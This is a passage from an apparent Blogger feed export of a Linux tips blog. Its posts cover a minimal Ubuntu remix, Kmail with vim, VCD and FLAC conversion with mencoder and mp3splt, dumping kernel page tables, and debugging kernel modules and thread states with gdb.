type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/3059206114313421133/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2010/06/future-plans-for-des.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/3059206114313421133'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/3059206114313421133'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2010/06/future-plans-for-des.html' title='Future Plans for DEs'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-6151933456995391552</id><published>2010-06-05T05:57:00.000-07:00</published><updated>2012-01-22T04:13:19.577-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='misc'/><title type='text'>Why UMD?</title><content type='html'>I get a lot of people asking me... why bother? Why create a system that's (relatively) complicated, and why label it "minimal" when it uses such things as GNOME or KDE? Well, I guess that all depends on your definition of "minimal".&lt;br /&gt;&lt;br /&gt;In the traditional sense, minimalism was the bare minimum of what you needed to operate. My variation on minimalism is heavier on system resources than most "minimal desktops" (using IceWM or Fluxbox, for example), but it's still a stripped-down version of the base Ubuntu install. I decided to use GNOME (initially) because I'm aware that other, more traditional desktop environments tend to seem scary and confusing to the Linux newbie. My distribution is not intended to cater to the pure first-timer, but it is also not exactly geared toward the Linux expert either.&lt;br /&gt;&lt;br /&gt;Why did I do it? I guess you'd need to look at the project's origin for that. Shortly before the release of Ubuntu 9.10 (Karmic Koala), it was announced that Empathy IM would replace Pidgin as the default IM client. After trying it out, I decided that Empathy was far too immature for production usage, lacking very important base features such as stable file transfer, Blocking, and OTR (off-the-record) chatting. I downloaded and installed the 9.10 release ISO and tried removing Empathy. However, once it's installed, Empathy has several packages that "depend" on it that are important to the base system. I decided to see if these dependencies were real -- which they were not. I then built my own version of the UMD script, so I could easily deploy &lt;i&gt;my&lt;/i&gt; version of Ubuntu. A friend of mine suggested that I add user choices into the mix and release it, so I did.&lt;br /&gt;&lt;br /&gt;I take pride in the choice given to the user by my project that is taken from them by the Ubuntu team. Sure, you &lt;i&gt;can&lt;/i&gt; install Chromium, or Opera, or SRWare Iron in place of Firefox. But uninstalling programs leaves so many files behind (even after performing &lt;span style="font-family:monospace"&gt;rm -rf ~/.mozilla&lt;/span&gt;). It's always best to start from the bottom and work your way up (any user familiar with Windows bloatware knows exactly what I'm talking about).&lt;br /&gt;&lt;br /&gt;I suppose the better question would be: why didn't I do this before?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-6151933456995391552?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/6151933456995391552/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2010/06/why-umd.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/6151933456995391552'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/6151933456995391552'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2010/06/why-umd.html' title='Why UMD?'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-475086682505542970</id><published>2010-05-26T04:03:00.000-07:00</published><updated>2012-01-22T05:40:00.459-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='vim'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='kmail'/><title type='text'>Avoid Kmail Editor And Use Vim Editor Instead</title><content type='html'>Kmail has bad editor when it comes to sending patches inlined. More often the message gets mangled (word wrapped). To overcome this problem Kmail allows the use of external editor.&lt;br /&gt;&lt;br /&gt;1. Settings-&gt;Configure Mail and Click on Composer&lt;br /&gt;2. Click on "Use External Editor" and specify the editor as "xterm -e vim -f %f"&lt;br /&gt;3. Click Apply.&lt;br /&gt;&lt;br /&gt;Open the composer and type in mail id and subject and click on the body. When you start typing a new editor window opens up which is vim. Type in your message and type ":wq". Thats it.&lt;br /&gt;&lt;br /&gt;For people intending to send patches, use :vsplit &lt;path&gt; and use visual method to highlight and 'y' to yank the highlighted message. Close the vsplit and type "p" to paste it.&lt;/path&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-475086682505542970?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/475086682505542970/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2010/05/avoid-kmail-editor-and-use-vim-editor.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/475086682505542970'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/475086682505542970'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2010/05/avoid-kmail-editor-and-use-vim-editor.html' title='Avoid Kmail Editor And Use Vim Editor Instead'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-7777686267477898719</id><published>2010-04-21T22:18:00.000-07:00</published><updated>2012-01-22T05:40:00.528-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='vcd to avi'/><title type='text'>Convert VCD T0 AVI (Xvid)</title><content type='html'>A simple way to convert old vcds to avi(xvid) and not lose too much video quality is by using the tool mencoder.&lt;br /&gt;&lt;br /&gt;&lt;span&gt;Download and Install mencoder:&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;#sudo apt-get install mencoder&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Start Conversion:&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;#mencoder vcd://2 -o movie.avi -oac copy -ovc lavc -lavcopts vcodec=mpeg4:vbitrate=2000&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Where vcd://2 points to the title you wish to decode. Most vcds have 2 to 3 titles and the biggest one being the movie. Choose the biggest title of vcd for the decode. If you are unsure what to choose, i suggest trial and error starting from 1 to any number till mencoder throws out error of not finding the title.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-7777686267477898719?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/7777686267477898719/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2010/04/convert-vcd-t0-avi-xvid.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/7777686267477898719'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/7777686267477898719'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2010/04/convert-vcd-t0-avi-xvid.html' title='Convert VCD T0 AVI (Xvid)'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-3394220466671111776</id><published>2009-12-18T01:08:00.000-08:00</published><updated>2012-01-22T05:40:00.572-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='splitter'/><category scheme='http://www.blogger.com/atom/ns#' term='vbrfix'/><category scheme='http://www.blogger.com/atom/ns#' term='mp3'/><title type='text'>Rip mp3 from cue/flac!</title><content type='html'>Here is a simple way to rip mp3 from flac files.  There are few softwares that need to be installed for to work.&lt;br /&gt;&lt;br /&gt;Download and Install Sound Converter For Linux. It can be downloaded from &lt;a href="http://soundconverter.berlios.de/"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Once Installed you can start up the application from the multimedia panel in the start menu.&lt;br /&gt;&lt;br /&gt;Install additional packages&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;#sudo apt-get install flac mp3splt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step 1:&lt;/span&gt; Convert the flac file to mp3 using Sound Converter. This process is quite simple. Start the sound converter and specify the flac file you wish to convert and press "Convert". This converts the flac file to one single mp3 file. But we are aware of multiple songs in that mp3 file.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step 2:&lt;/span&gt; Split the single mp3 files into multiple mp3 tracks. This can be done using the mp3splt utility we just installed.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;#mp3splt -f -c Album.cue Album.mp3&lt;/span&gt;&lt;br /&gt;Assuming that Album.mp3 is the file produced by the Sound Converter. "cue" files are generally provided with flac files for this very purpose. If you do not have the cue file, you have to use some mp3 splitter to achieve the same.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step 3:&lt;/span&gt; The new mp3 files might have issues with reading mp3 duration of these files. If that happens then a simple tool called vbrfix will fix the problem.&lt;br /&gt;Install vbrfix&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;#sudo apt-get install vbrfix&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;To fix a mp3 file using vbrfix&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;#vbrfix myfile.mp3 myfile_fix.mp3&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The myfile_fix.mp3 would have the duration problem fixed.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-3394220466671111776?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/3394220466671111776/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2009/12/rip-mp3-from-cueflac.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/3394220466671111776'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/3394220466671111776'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2009/12/rip-mp3-from-cueflac.html' title='Rip mp3 from cue/flac!'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-6379281770272518054</id><published>2009-09-17T22:38:00.000-07:00</published><updated>2012-01-22T05:40:00.589-08:00</updated><title type='text'>Real-Time Linux Kernel Scheduler</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;My article explaining the Real-Time Linux kernel scheduler is finally available for general reading on the Linux Journal site. You can read it &lt;a href='http://www.linuxjournal.com/article/10165'&gt;here&lt;/a&gt;. Any feedback on the article are most welcome !&lt;br/&gt;&lt;br/&gt;&lt;div class='zemanta-pixie'&gt;&lt;img src='http://img.zemanta.com/pixy.gif?x-id=7156fd82-5484-8734-bee7-be386936c20b' alt='' class='zemanta-pixie-img'/&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-6379281770272518054?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/6379281770272518054/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2009/09/real-time-linux-kernel-scheduler.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/6379281770272518054'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/6379281770272518054'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2009/09/real-time-linux-kernel-scheduler.html' title='Real-Time Linux Kernel Scheduler'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-4972021769896851010</id><published>2009-08-03T10:30:00.000-07:00</published><updated>2012-01-22T05:40:00.607-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='page tables'/><category scheme='http://www.blogger.com/atom/ns#' term='kernel'/><category scheme='http://www.blogger.com/atom/ns#' term='debugfs'/><title type='text'>Dumping kernel page tables</title><content type='html'>&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;Sometimes when debugging kernel issues, you might come across kernel addresses that you would find very difficult to map to a particular section in the kernel, ie, vmalloc, vmemmap, low/high kernel mapping, kernel text, etc. On x86, Arjan van de Ven has written an interface that provides a dump of the kernel page tables which gives information on the various memory  areas in the kernel.&lt;br /&gt;&lt;br /&gt;# cat /debug/kernel_page_tables&lt;br /&gt;---[ User Space ]---&lt;br /&gt;0x0000000000000000-0xffff800000000000    16777088T                           pgd&lt;br /&gt;---[ Kernel Space ]---&lt;br /&gt;0xffff800000000000-0xffff880000000000           8T                           pgd&lt;br /&gt;---[ Low Kernel Mapping ]---&lt;br /&gt;0xffff880000000000-0xffff880000200000           2M     RW             GLB x  pte&lt;br /&gt;0xffff880000200000-0xffff880040000000        1022M     RW         PSE GLB x  pmd&lt;br /&gt;0xffff880040000000-0xffff8800cfe00000        2302M     RW         PSE GLB NX pmd&lt;br /&gt;...&lt;br /&gt;---[ vmalloc() Area ]---&lt;br /&gt;0xffffc20000000000-0xffffc20000001000           4K     RW     PCD     GLB NX pte&lt;br /&gt;0xffffc20000001000-0xffffc20000004000          12K                           pte&lt;br /&gt;0xffffc20000004000-0xffffc20000005000           4K     RW     PCD     GLB NX pte&lt;br /&gt;0xffffc20000005000-0xffffc20000008000          12K                           pte&lt;br /&gt;0xffffc20000008000-0xffffc2000000d000          20K     RW     PCD     GLB NX pte&lt;br /&gt;0xffffc2000000d000-0xffffc20000010000          12K                           pte&lt;br /&gt;0xffffc20000010000-0xffffc20000011000           4K     RW     PCD     GLB NX pte&lt;br /&gt;....&lt;br /&gt;---[ Vmemmap ]---&lt;br /&gt;0xffffe20000000000-0xffffe20007c00000         124M     RW         PSE GLB NX pmd&lt;br /&gt;0xffffe20007c00000-0xffffe20040000000         900M                           pmd&lt;br /&gt;0xffffe20040000000-0xffffe28000000000         511G                           pud&lt;br /&gt;0xffffe28000000000-0xffffff8000000000          29T                           pgd&lt;br /&gt;0xffffff8000000000-0xffffffff80000000         510G                           pud&lt;br /&gt;---[ High Kernel Mapping ]---&lt;br /&gt;0xffffffff80000000-0xffffffff80200000           2M                           pmd&lt;br /&gt;0xffffffff80200000-0xffffffff80a00000           8M     RW         PSE GLB x  pmd&lt;br /&gt;0xffffffff80a00000-0xffffffffa0000000         502M                           pmd&lt;br /&gt;---[ Modules ]---&lt;br /&gt;0xffffffffa0000000-0xffffffffa000a000          40K     RW             GLB x  pte&lt;br /&gt;0xffffffffa000a000-0xffffffffa000f000          20K                           pte&lt;br /&gt;0xffffffffa000f000-0xffffffffa0016000          28K     RW             GLB x  pte&lt;br /&gt;0xffffffffa0016000-0xffffffffa001b000          20K                           pte&lt;br /&gt;....&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt;Understanding the above output:&lt;br /&gt;&lt;br /&gt;o First field indicates the address range of a particular type of area (for example, user space, vmalloc area, kernel space, etc)&lt;br /&gt;o The second field indicates the size of the address range in K,M,G,T units&lt;br /&gt;o The fields following the size of the range have the following meaning:&lt;br /&gt;   USR - whether the page being mapped is a user page or not&lt;br /&gt;   RW - whether the page is read/write. If not RW, the output would be 'ro' to indicate a read-only page&lt;br /&gt;   PCD - Page Cache Disabled - maps a page with caching disabled&lt;br /&gt;   PWT - page with Page Write-Through set&lt;br /&gt;   PSE - Extended paging enabled - allows large linear contiguous address ranges to be mapped&lt;br /&gt;   GLB - Page Global flag - The global flag is set for a page that is frequently used and prevents it from being flushed from the TLB&lt;br /&gt;  NX - Page is non-executable, else marked as 'x'&lt;br /&gt;o The last entry indicates the particular level of the page table - pgd, pud, pmd or pte that the region corresponds to&lt;br /&gt;  &lt;br /&gt;Enable the CONFIG_X86_PTDUMP configuration option, along with enabling debugfs. The corresponding kernel code for the interface can be found under arch/x86/mm/dump_pagetables.c&lt;br /&gt;&lt;br /&gt;&lt;div class="zemanta-pixie"&gt;&lt;img src="http://img.zemanta.com/pixy.gif?x-id=92acdb06-0bdb-861e-adde-b3044928b730" alt="" class="zemanta-pixie-img" /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-4972021769896851010?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/4972021769896851010/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2009/08/dumping-kernel-page-tables.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/4972021769896851010'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/4972021769896851010'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2009/08/dumping-kernel-page-tables.html' title='Dumping kernel page tables'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-1923631412644115233</id><published>2009-07-23T22:42:00.000-07:00</published><updated>2012-01-22T05:40:00.629-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='debug'/><category scheme='http://www.blogger.com/atom/ns#' term='kernel'/><category scheme='http://www.blogger.com/atom/ns#' term='gdb'/><category scheme='http://www.blogger.com/atom/ns#' term='module'/><title type='text'>Using gdb for debugging kernel modules</title><content type='html'>&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;This is a very simple and maybe trivial post.. and nothing novel ! But something that has helped me a lot in debugging issues with my kernel modules and kernel panics in  general. So, when you get a panic originating in a kernel module, you normally get it in the following format:&lt;br /&gt;&lt;br /&gt;BUG: unable to handle kernel NULL pointer dereference at 0000000000000050&lt;br /&gt;IP: [&amp;lt;ffffffff8023262c&amp;gt;] mmput+0x11/0xb0&lt;br /&gt;PGD 22bcf6067 PUD 211839067 PMD 0&lt;br /&gt;Oops: 0002 [#1] SMP&lt;br /&gt;last sysfs file: /sys/block/sdb/size&lt;br /&gt;CPU 6&lt;br /&gt;Modules linked in: &amp;lt;&lt;span style="color:#000000;"&gt;a routine in my module&lt;/span&gt;&amp;gt; ehci_hcd uhci_hcd [last unloaded: &amp;lt;my module&amp;gt;]&lt;br /&gt;Pid: 26830, comm: &amp;lt;my kernel thread&amp;gt; Not tainted 2.6.28-anki #13&lt;br /&gt;RIP: 0010:[&amp;lt;ffffffff8023262c&amp;gt;]  [&amp;lt;ffffffff8023262c&amp;gt;] mmput+0x11/0xb0&lt;br /&gt;RSP: 0000:ffff8802279fbed0  EFLAGS: 00010246&lt;br /&gt;RAX: 0000000000000000 RBX: 0000000000000000 RCX: 0000000000000045&lt;br /&gt;RDX: ffff88022e150300 RSI: 0000000000000282 RDI: 0000000000000000&lt;br /&gt;RBP: ffff8802279fbee0 R08: 0000000000000018 R09: ffff88022e150300&lt;br /&gt;R10: ffff88022e150300 R11: 00007fffe6dfefff R12: ffff88022e52f860&lt;br /&gt;R13: ffff88022e150300 R14: ffff88022d99aed0 R15: ffff88022d99b110&lt;br /&gt;FS:  0000000000000000(0000) GS:ffff88022f818280(0000) knlGS:0000000000000000&lt;br /&gt;CS:  0010 DS: 0018 ES: 0018 CR0: 000000008005003b&lt;br /&gt;CR2: 0000000000000050 CR3: 0000000211829000 CR4: 00000000000006e0&lt;br /&gt;DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000&lt;br /&gt;DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400&lt;br /&gt;Process memref (pid: 26830, threadinfo ffff8802279fa000, task&lt;br /&gt;ffff88022d4ef1b0)&lt;br /&gt;Stack:&lt;br /&gt; ffff88022e150300 0000000000000000 ffff8802279fbf20 ffffffffa003314b&lt;br /&gt; ffff8802279fbf20 ffff88022d99aed0 ffffffffa00330f2 ffff880210cf1c68&lt;br /&gt; ffff88022f855ee0 ffff88022f855f00 ffff8802279fbf40 ffffffff802468e3&lt;br /&gt;Call Trace:&lt;br /&gt; [&amp;lt;ffffffffa003314b&amp;gt;] &amp;lt;&lt;span style="color:#000099;"&gt;&lt;b&gt;routine in my module&lt;/b&gt;&lt;/span&gt;&amp;gt;+0x59/0xb2 [&amp;lt;my kernel thread&amp;gt;]&lt;br /&gt; [&amp;lt;ffffffffa00330f2&amp;gt;] ? &amp;lt;my modulee&amp;gt;+0x0/0xb2 [&amp;lt;my kernel thread&amp;gt;]&lt;br /&gt; [&amp;lt;ffffffff802468e3&amp;gt;] kthread+0x49/0x76&lt;br /&gt; [&amp;lt;ffffffff8020cce9&amp;gt;] child_rip+0xa/0x11&lt;br /&gt; [&amp;lt;ffffffff802277a5&amp;gt;] ? dequeue_task+0xbf/0xca&lt;br /&gt; [&amp;lt;ffffffff8024689a&amp;gt;] ? kthread+0x0/0x76&lt;br /&gt; [&amp;lt;ffffffff8020ccdf&amp;gt;] ? child_rip+0x0/0x11&lt;br /&gt;Code: df e8 88 c7 fd ff 48 8b 3d ba 28 6b 00 48 89 de e8 b1 af 05 00 41 59 5b&lt;br /&gt;c9 c3 55 48 89 e5 53 48 89 fb 48 83 ec 08 e8 6a fa 39 00 &amp;lt;f0&amp;gt; ff 4b 50 0f 94&lt;br /&gt;c0 84 c0 0f 84 8b 00 00 00 48 89 df e8 8b 76&lt;br /&gt;RIP  [&amp;lt;ffffffff8023262c&amp;gt;] mmput+0x11/0xb0&lt;br /&gt; RSP &amp;lt;ffff8802279fbed0&amp;gt;&lt;br /&gt;CR2: 0000000000000050&lt;br /&gt;&lt;br /&gt;Now, to find out from where exactly in my module the panic happened, I simply use gdb, as below:&lt;br /&gt;&lt;br /&gt;#gdb &amp;lt;path to my module.o file from the kernel source root dir&amp;gt; [for example, #gdb drivers/misc/ankita.o]&lt;br /&gt;....&lt;br /&gt;(gdb) list  *(&lt;span style="color:#000099;"&gt;&lt;b&gt;the routine&lt;/b&gt;&lt;/span&gt;)+0x59&lt;br /&gt;&lt;br /&gt;The above gives a source listing, pointing to the lines which correspond to 0x59 address. This serves as a good starting point to debug the issue. Hope this helps some folks atleast :-)&lt;br /&gt;&lt;br /&gt;&lt;div class="zemanta-pixie"&gt;&lt;img src="http://img.zemanta.com/pixy.gif?x-id=9aa9c1fa-6902-87fc-9a48-ff8543d56728" alt="" class="zemanta-pixie-img" /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-1923631412644115233?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/1923631412644115233/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2009/07/using-gdb-for-debugging-kernel-modules.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/1923631412644115233'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/1923631412644115233'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2009/07/using-gdb-for-debugging-kernel-modules.html' title='Using gdb for debugging kernel modules'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-2175796597189870561</id><published>2009-07-16T10:18:00.000-07:00</published><updated>2012-01-22T05:40:00.650-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='debug'/><category scheme='http://www.blogger.com/atom/ns#' term='info proc'/><category scheme='http://www.blogger.com/atom/ns#' term='gdb'/><category scheme='http://www.blogger.com/atom/ns#' term='thread state'/><title type='text'>Looking at thread state inside gdb</title><content type='html'>&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;&lt;span style="font-family:sans-serif;"&gt;While helping a &lt;/span&gt;&lt;span style="font-family:sans-serif;"&gt;friend debug a multi-threaded application hang on linux, using  gdb. She was facing difficulty in pointing out exactly which were the threads that were in blocked state. Getting thread info only tells us what the thread ids are and the routine they are executing.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:sans-serif;"&gt;(gdb) info threads&lt;br /&gt;12 Thread 4398053392560 (LWP &lt;b&gt;7234&lt;/b&gt;) 0x0000000010005740 in xxxx ()&lt;br /&gt;11 Thread 4398054441136 (LWP 7235) 0x0000000010005740 in xxxx ()&lt;br /&gt;10 Thread 4398055489712 (LWP 7237) 0x0000000010005748 in xxxx ()&lt;br /&gt;9 Thread 4398063878320 (LWP 8263) 0x0000000010000768 in yyy ()&lt;br /&gt;8 Thread 4398062829744 (LWP 8267) 0x0000000010003624 in zzz ()&lt;br /&gt;7 Thread 4398061781168 (LWP 8270) 0x0000000010003624 in zzz ()&lt;br /&gt;6 Thread 4398060732592 (LWP 8273) 0x0000000010001ce4 in ddd ()&lt;br /&gt;5 Thread 4398059684016 (LWP 8276) 0x0000000010000750 in fff ()&lt;br /&gt;4 Thread 4398058635440 (LWP 8277) 0x000000001001e128 in ttt ()&lt;br /&gt;3 Thread 4398057586864 (LWP 8278) 0x0000000010003624 in zzz ()&lt;br /&gt;2 Thread 4398056538288 (LWP 8281) 0x000000001001e140 in rrrr ()&lt;br /&gt;1 Thread 269578240 (LWP 28151) 0x000000001000cba4 in www ()&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:sans-serif;"&gt;She complained that in another proprietary debugger she has worked with in the past, she could easily also get the thread status information as well. Found that on gdb, we need to use the following commands to get the status information of the threads:&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;(gdb) &lt;b&gt;help info proc&lt;/b&gt;&lt;br /&gt;Show /proc process information about any running process.&lt;br /&gt;Specify any process id, or use the program being debugged by default.&lt;br /&gt;Specify any of the following keywords for detailed info:&lt;br /&gt; mappings -- list of mapped memory regions.&lt;br /&gt; stat     -- list a bunch of random process info.&lt;br /&gt; status   -- list a different bunch of random process info.&lt;br /&gt; all      -- list all available /proc info.&lt;br /&gt;&lt;br /&gt;(gdb) &lt;b&gt;info proc 7234 stat&lt;/b&gt;&lt;br /&gt;process 7234&lt;br /&gt;cmdline = '/usr/bin/xyz'&lt;br /&gt;warning: unable to read link '/proc/7234/cwd'&lt;br /&gt;warning: unable to read link '/proc/7234/exe'&lt;br /&gt;Process: 7234&lt;br /&gt;Exec file: xyz&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;b&gt;State: S&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;Parent process: 3230&lt;br /&gt;Process group: 7234&lt;br /&gt;Session id: 7234&lt;br /&gt;TTY: 0&lt;br /&gt;TTY owner process group: -1&lt;br /&gt;Flags: 0x402040&lt;br /&gt;Minor faults (no memory page): 96&lt;br /&gt;Minor faults, children: 0&lt;br /&gt;Major faults (memory page faults): 0&lt;br /&gt;Major faults, children: 0&lt;br /&gt;utime: 0&lt;br /&gt;stime: 0&lt;br /&gt;utime, children: 0&lt;br /&gt;stime, children: 0&lt;br /&gt;jiffies remaining in current time slice: 20&lt;br /&gt;'nice' value: 0&lt;br /&gt;jiffies until next timeout: 1&lt;br /&gt;jiffies until next SIGALRM: 0&lt;br /&gt;start time (jiffies since system boot): 4371&lt;br /&gt;Virtual memory size: ...&lt;br /&gt;Resident set size: ....&lt;br /&gt;rlim: ......&lt;br /&gt;Start of text: 0xb8013000&lt;br /&gt;End of text: 0xb8025ca4&lt;br /&gt;Start of stack: 0xbf925630&lt;br /&gt;&lt;br /&gt;(gdb) &lt;b&gt;info proc 7234 status&lt;/b&gt;&lt;br /&gt;process 7234&lt;br /&gt;cmdline = '/usr/bin/xyz'&lt;br /&gt;warning: unable to read link '/proc/7234/cwd'&lt;br /&gt;warning: unable to read link '/proc/7234/exe'&lt;br 